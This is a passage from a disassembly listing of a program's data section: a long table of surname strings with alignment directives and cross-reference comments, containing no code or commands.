'VanZwet',0 aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042E73Co align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042E738o align 10h aWallenberg db 'Wallenberg',0 align 4 aWales db 'Wales',0 align 4 aValencia db 'Valencia',0 align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 align 10h aVacca db 'Vacca',0 ; DATA XREF: ___:0042E720o align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 ; DATA XREF: ___:0042E718o align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042E70Co aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042E708o align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042E704o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042E700o align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042E6D8o aTruss db 'Truss',0 ; DATA XREF: ___:0042E6D4o align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 ; DATA XREF: ___:0042E6CCo aTringali db 'Tringali',0 ; DATA XREF: ___:0042E6C8o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E6C4o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E6C0o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E6BCo align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E6B8o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E6B4o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E6B0o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E6ACo aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E6A8o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E6A4o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E6A0o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E69Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E698o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E694o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E690o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E68Co aTill db 'Till',0 ; DATA XREF: ___:0042E688o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E684o aThroop db 'Throop',0 ; DATA XREF: ___:0042E680o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E67Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E678o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E674o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E670o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E66Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E668o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E664o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E660o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E65Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E658o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E654o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E650o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E64Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E648o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E644o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E640o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E63Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E638o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E634o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E630o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E62Co aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E628o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E624o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E620o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E61Co align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E618o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E614o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E610o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E60Co align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E608o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E604o aStrange db 'Strange',0 ; DATA XREF: ___:0042E600o aStott db 'Stott',0 ; DATA XREF: ___:0042E5FCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5F8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5F4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5F0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5ECo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5E8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5E4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5E0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5DCo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5D8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5D4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5D0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E5CCo aStefani db 'Stefani',0 ; DATA XREF: ___:0042E5C8o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E5C4o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E5C0o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E5BCo align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E5B8o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E5B4o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E5B0o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E5ACo align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E5A8o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E5A4o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E5A0o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E59Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E598o aSpence db 'Spence',0 ; DATA XREF: ___:0042E594o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E590o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E58Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E588o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E584o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E580o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E57Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E578o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E574o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E570o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E56Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E568o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E564o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E560o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E55Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E558o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E554o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E550o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E54Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E548o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E544o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E540o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E53Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E538o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E534o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E530o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E52Co align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E528o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E524o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E520o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E51Co aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E518o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E514o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E510o aShia db 'Shia',0 ; DATA XREF: ___:0042E50Co align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E508o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E504o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E500o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4FCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4F8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4F4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4F0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4ECo aShar db 'Shar',0 ; DATA XREF: ___:0042E4E8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4E4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4E0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4DCo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4D8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4D4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4D0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E4CCo align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E4C8o aSen db 'Sen',0 ; DATA XREF: ___:0042E4C4o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E4C0o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E4BCo align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E4B8o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E4B4o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E4B0o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E4ACo aScovel db 'Scovel',0 ; DATA XREF: ___:0042E4A8o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E4A4o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E4A0o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E49Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E498o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E494o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E490o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E48Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E488o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E484o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E480o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E47Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E478o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E474o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E470o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E46Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E468o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E464o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E460o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E45Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E458o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E454o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E450o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E44Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E448o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E444o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E440o aSamson db 'Samson',0 ; DATA XREF: ___:0042E43Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E438o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E434o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E430o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E42Co align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E428o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E424o aRush db 'Rush',0 ; DATA XREF: ___:0042E420o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E41Co align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E418o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E414o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E410o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E40Co align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E408o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E404o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E400o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3FCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3F8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3F4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3F0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3ECo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3E8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3E4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3E0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3DCo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3D8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3D4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3D0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E3CCo align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E3C8o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E3C4o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E3C0o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E3BCo align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E3B8o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E3B4o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E3B0o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E3ACo align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E3A8o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E3A4o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E3A0o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E39Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E398o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E394o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E390o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E38Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E388o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E384o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E380o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E37Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E378o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E374o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E370o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E36Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E368o aPresper db 'Presper',0 ; DATA XREF: ___:0042E364o aPowers db 'Powers',0 ; DATA XREF: ___:0042E360o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E35Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E358o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E354o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E350o aPolak db 'Polak',0 ; DATA XREF: ___:0042E34Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E348o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E344o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E340o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E33Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E338o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E334o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E330o aPlant db 'Plant',0 ; DATA XREF: ___:0042E32Co align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E328o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E324o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E320o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E31Co aPettit db 'Pettit',0 ; DATA XREF: ___:0042E318o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E314o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E310o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E30Co align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E308o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E304o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E300o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2FCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2F8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2F4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2F0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2ECo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2E8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2E4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2E0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2DCo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2D8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2D4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2D0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E2CCo aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E2C8o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E2C4o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E2C0o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E2BCo align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E2B8o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E2B4o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E2B0o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E2ACo align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E2A8o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E2A4o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E2A0o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E29Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E298o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E294o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E290o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E28Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E288o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E284o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E280o aOtten db 'Otten',0 ; DATA XREF: ___:0042E27Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E278o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E274o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E270o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E26Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E268o aOray db 'Oray',0 ; DATA XREF: ___:0042E264o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E260o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E25Co aOman db 'Oman',0 ; DATA XREF: ___:0042E258o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E254o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E250o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E24Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E248o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E244o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E240o aOh db 'Oh',0 ; DATA XREF: ___:0042E23Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E238o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E234o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E230o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E22Co align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E228o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E224o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E220o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E21Co align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E218o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E214o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E210o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E20Co aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E208o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E204o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E200o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1FCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1F8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1F4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1F0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1ECo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1E8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1E4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1E0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1DCo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1D8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1D4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1D0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E1CCo align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E1C8o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E1C4o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E1C0o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E1BCo align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E1B8o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E1B4o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E1B0o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E1ACo align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E1A8o aMorani db 'Morani',0 ; DATA XREF: ___:0042E1A4o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E1A0o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E19Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E198o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E194o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E190o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E18Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E188o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E184o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E180o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E17Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E178o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E174o aMini db 'Mini',0 ; DATA XREF: ___:0042E170o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E16Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E168o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E164o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E160o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E15Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E158o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E154o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E150o aMerz db 'Merz',0 ; DATA XREF: ___:0042E14Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E148o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E144o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E140o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E13Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E138o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E134o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E130o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E12Co aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E128o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E124o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E120o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E11Co aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E118o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E114o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E110o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E10Co align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E108o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E104o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E100o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0FCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0F8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0F4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0F0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0ECo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0E8o aMay db 'May',0 ; DATA XREF: ___:0042E0E4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0E0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0DCo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0D8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0D4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0D0o aMass db 'Mass',0 ; DATA XREF: ___:0042E0CCo align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E0C8o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E0C4o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E0C0o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E0BCo align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E0B8o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E0B4o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E0B0o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E0ACo align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E0A8o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E0A4o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E0A0o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E09Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E098o align 4 aManalis 